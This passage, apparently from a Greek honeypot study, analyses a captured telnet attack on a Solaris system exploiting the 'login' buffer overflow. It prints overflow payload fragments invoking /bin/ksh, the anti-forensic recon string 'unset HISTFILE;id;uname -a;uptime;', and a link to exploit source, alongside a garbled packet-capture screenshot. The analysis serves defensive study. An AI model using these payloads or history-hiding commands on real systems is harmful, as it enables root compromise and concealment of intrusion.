The packet that caused this event is normally a part of an established TCP session, indicating that the source IP address has not been spoofed. If you are using a firewall that supports stateful inspection, and are not vulnerable to sequence number prediction attacks, then you can be fairly certain that the source IP address of the event is accurate.

False Positives

There are reported incidents where legitimate traffic may cause an intrusion detection system to raise "false positive" alerts for this event. The following details have been reported: Since all network traffic is watched, it is possible this sequence may occur in any binary file transmission, and not be a part of an overflow attempt. Confirm by looking at the packet trace generated by this alert.

<u>Protocol details...</u> (ip header, tcp/udp/icmp header, payload data) <u>Research details...</u> (packet captures, background, credits) <u>IDS Signatures...</u> (dynamically generated signatures for free and commercial IDS)

Πίνακας 3-31

Δεν θα βιαστούμε να βγάλουμε συμπεράσματα αν δεν δούμε το δυαδικό αρχείο με την δικτυακή κίνηση που καταγράφηκε.

Στην εικόνα που ακολουθεί βλέπουμε τον επιτιθέμενο να κάνει αίτηση σύνδεσης στην πόρτα 23 (telnet) σε ένα SUN Solaris **honeypot** (γραμμές 1-3).

0611000-snort.log - Ethere	al				1×
File Edit View Captur	re <u>A</u> nalyze <u>H</u> elp				
	_ < >		0		
No., Time S	ource	Destination	Protocol	Info	-
1 05:19:22.641953 80 2 05:19:22.661074 11 3 05:19:22.803327 80	0,131,220,168 92,168.0,14 0,131,220,168	192.168.0,14 80,131.220,168 192.168.0,14	TCP TCP TCP	[TCP ZeroWindow] [TCP Dup ACK 143] [TCP Retransmission] 38132 > telnet telnet > 38132 [SYN, ACK] Seq=0 Ack=1 Win=25200 Len=0 TSV=58578671 TSE 38132 > telnet [ACK] Seq=1 Ack=1 Win=5808 Len=0 TSV=887165 TSER=595786	
4 05:19:23,075530 19	2.168.0.14	80,131,220,168	TELNET	Telnet Data	
5 05;19:23,2182/1 80 6 06;19:23,220351 80 7 06;19:23,221558 1 8 06;19:23,22358 1 9 06;19:23,364224 80	0.131.220.168 0.131.220.168 92.168.0,14 92.168.0,14 0.131.220.168	192.168.0,14 192.168.0,14 80,131,220,168 80,131,220,168 192.168.0,14	TELNET TCP TELNET TELNET	38132 > teinet [MLK] Seq=1 Ack=16 Uin=5608 Len=0 15V=887207 15EH=50678 Telnet Bata telnet > 38132 [ACK] Seq=16 Ack=4 Uin=25200 Len=0 T5V=55578725 T5ER=88 Telnet Bata Telnet Bata	
10 05:19:23,403744 80 11 06:19:23,404717 1 12 06:19:23,545410 80 13 06:19:23,546593 1 14 06:19:23,688943 80 15 06:19:23,79134 1	0.131,220,168 92.168.0.14 0.131,220,168 92.168.0.14 0.131,220,168 92.168.0.14	192.168.0,14 80.131.220.168 192.168.0,14 80.131.220.168 192.168.0,14 80.131.220.168	TCP TELNET TELNET TELNET TELNET TCP	38132 > telnet [ACK] Seq=16 Ack=19 Win=5808 Len=0 TSV=887226 TSER=5557 Telnet Data Telnet Data Telnet Data Telnet Data Telnet Jata Telnet 38132 [ACK] Seq=58 Ack=31 Win=25200 Len=0 TSV=55578780 TSFR=8	
16 05:19:23,954019 80 17 06:19:24,033731 1	0.131.220.168 92.168.0.14	192.168.0,14 80,131,220,168	TELNET TELNET	Telnet Data	*
El France 4 (81 bytes on wir El Ethernet II, Sroi (00:00); El Internet Protocol, Sroc 4 El Transmission Control Pro El Telnet Command: Bo Terminal Command: Bo Negotiat	re, 31 bytes captured (Oc:01:09:06, Det: 00 addr: 192.168.0.14 (ttocol. Src Port: tel Type e About Window Size	0/ 0:0c:30:23:d5:80 192.168.0,14), Dst A net (23), Dst Port: 3	ddr: 80,13 3132 (3813	1,220,168 (80,131,220,168) 2), Seq: 1, Ack: 1, Len: 15	
0000 00 0c 30 29 d5 80 00 0010 00 43 c3 b4 40 00 3b 0020 dc a8 00 17 94 f4 86 0030 62 70 19 55 00 00 01 0040 89 7d ff fd 18 ff fd 0050 24	00 0c 01 09 c6 08 06 92 dd 8f e9 2c 5a 50 b4 47 1e 66 01 08 0a 03 50 10 1f ff fd 23 ff fd	00 45 000) 06 50 83 .C0.:. 13 80 182 P. 57 00 0d bp.U 27 ff fd	P. G.F .P.W *'		•
Filter. Icp.port 38132			V R	eset Apply File: 0611@00-snort.log	1.94.1

Εικόνα 3-14

Στην συνέχεια, αφού έχει επιτύχει σύνδεση με telnet από την γραμμή 4 και μετά, αρχίζει μια ανταλλαγή πακέτων μέσω telnet.

Θα πάμε στα SESSIONS που έχει καταγράψει το **snort**, για να δούμε τους ASCII χαρακτήρες που ανταλλάχθηκαν κατά την διάρκεια αυτής τις σύνδεσης.

Το αναγνώσιμο φορτίο που μεταφέρθηκε είναι αυτό που φαίνεται παρακάτω στον πίνακα 3-32.

Πίνακας 3-32

#'\$#'\$
SunOS 5.8
login: foo 7350
foo 7350
Password: pass
login: sP! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
a PPPfoo 7350
pass
sP! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
P! aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
xRWPB <g;\377\377\bin 7350<="" kshppp="" td=""></g;\377\377\bin>
n/kshPPP 7350
n/kshPPP 7350
Password: 7350

Στον πίνακα με μία πρώτη ματιά, βλέπουμε ότι κάποιος προσπαθεί να συνδεθεί μία φορά σαν foo 7350 και πιθανώς άλλες δύο σαν 'sP!aaaaaaa.....'.

Αναζητώντας κάποια πληροφορία στο διαδίκτυο για παρόμοιες περιπτώσεις, ανακαλύπτουμε ότι πρόκειται για κάποια εκμετάλλευση μίας ευπάθειας γνωστή σαν

Multiple Vendor System V Derived 'login' Buffer Overflow Vulnerability

http://www.securityfocus.com/bid/3681

http://www.cert.org/advisories/CA-2001-34.html

Αυτό το vulnerability, αρχικά εντοπίστηκε λειτουργικά συστήματα SUN Solaris 8 και νεότερα. Πολύ σύντομα διαπιστώθηκε ότι πολλές εφαρμογές για login σε συστήματα unix ήταν επίσης ευπαθή. Η εντολές login χρησιμοποιούνται στην αρχή κάθε σύνδεσης με τερματικό για να ελέγχουν την ταυτότητα του χρήστη, εκτελούνται και για να αυθεντικοποιήσουν απομακρυσμένους χρήστες όταν αυτοί ξεκινούν σύνδεση με νέο τερματικό. Το πρόβλημα όμως είναι ότι το login χειρίζεται λανθασμένα υπερβολικά μεγάλα ονόματα χρήστη που περνάνε από τον in.telnetd, in.rlogind.

Στην παραπάνω περίπτωση, ο επιτιθέμενος προσπαθεί να συνδεθεί σαν foo 7350, αλλά αυτό δεν χρησιμοποιεί το **exploit** μέχρι να πάρει δυνατότητα για δεύτερο login. Ο επιτιθέμενος πρέπει να

ενεργοποιήσει το πρόγραμμα ώστε να στείλει απάντηση για αποτυχία σύνδεσης και έπειτα στέλνει το **exploit**. Το foo μπορεί να είναι οποιοδήποτε όνομα όπως και το 7350. (<u>http://www.giac.org/practical/GSEC/_Rinker_GSEC.pdf</u>).

Το /bin/ksh που προσπαθεί να τρέξει στο τέλος του μεγάλου ονόματος στο login, ανοίγει ένα korn shell με δικαιώματα root. Απ΄ ότι φαίνεται ο επιτιθέμενος δεν πέτυχε το overflow αυτή την φορά.

Παρακάτω ακολούθησαν και άλλες όμοιες προσπάθειες με διαφορά χρόνου, πέντε δευτερόλεπτα η μία από την άλλη.

Παρατηρώντας τα SESSIONS για κάθε μία από αυτές τα αποτελέσματα είναι όμοια με τα αυτά στον πίνακα 3-32, όμως στην τελευταία προσπάθεια, παρατηρούμε ότι προσπαθεί να περάσει τις εντολές

unset HISTFILE;id;uname -a;uptime;

Το SESSION φαίνεται παρακάτω στον πίνακα 3-33

Πίνακας 3-33

'TTYPROMPTger#'\$#'\$
SunOS 5.8
foo 7350
foo 7350
Password: pass
sP! q a a a a a a a a a a a a a a a a a a
'TTYPROMPTgerafoo 7350
pass
sP! q a a a a a a a a a a a a a a a a a a
sP! q a a a a a a a a a a a a a a a a a a
\040\377\377\040\377\377\377\377\377\377\377\040\040\040\040\377\377\377\377\377\040\040\377\377\040\040\377\377\040\040\377\377\040\040\377\377\377\040\040\377\377\377\377\377\377\377\377\377\37
040"\040"\040\040\040\040\bin/kshPPP q"\040"\040\\040\040\040\bin/kshPPP q"\040"\040\\040\\040\\040\\040\\040\\04
7350
7350
Password: unset HISTFILE;id;uname -a;uptime;
7350
7350
unset HISTFILE;id;uname -a;uptime;
unset HISTFILE;id;uname -a;uptime;

Οι εντολές unset HISTFILE, id, uname -a και uptime, έχουν σκοπό να δώσουν στον επιτιθέμενο μερικές πληροφορίες.

Κατ' αρχήν με την εντολή unset HISTFILE, απενεργοποιεί το ιστορικό των εντολών του συστήματος για να μην καταγραφούν οι εντολές που θα δώσει παρακάτω.

Me thn entoly id , be ektuponotan to ónome tou crýsth kai tou group.

uname -a είναι η εντολή που θα επέστρεφε πληροφορίες για το τρέχον σύστημα, με την παράμετρο -a, θα έβλεπε όλες τις πληροφορίες που μπορεί να επιστρέψει η εντολή :

- Εμφάνιση του ονόματος της μηχανής
- hostname
- Άδειες χρήσης του λειτουργικού συστήματος

• Όνομα του λειτουργικού συστήματος.

Η εντολή uptime, θα έδειχνε το χρόνο που είναι το μηχάνημα σε λειτουργία.

Το συμπέρασμα που μπορούμε να βγάλουμε είναι, ότι ο επιτιθέμενος χρησιμοποίησε μία αυτοματοποιημένη διαδικασία όπου υλοποιεί buffer overflow αφού πετύχει, επιστέφει στον επιτιθέμενο πληροφορίες για το σύστημα και korn shell με δικαιώματα root.

Ένα τέτοιο **exploit** μπορούμε να βρούμε στο site securityfocus.com (<u>http://downloads.securityfocus.com/vulnerabilities/exploits/smash_bin_login.c</u>).

Στο επόμενο κεφάλαιο, θα έχουμε την δυνατότητα να μελετήσουμε επιτυχημένες επιθέσεις, και μάλιστα θα παρακολουθήσουμε τις κινήσεις των επιτιθέμενων, αφού αποκτήσουν τον έλεγχο του honeypot, χωρίς αυτοί να υποψιάζονται ότι όλες οι κινήσεις τους παρακολουθούνται και καταγράφονται.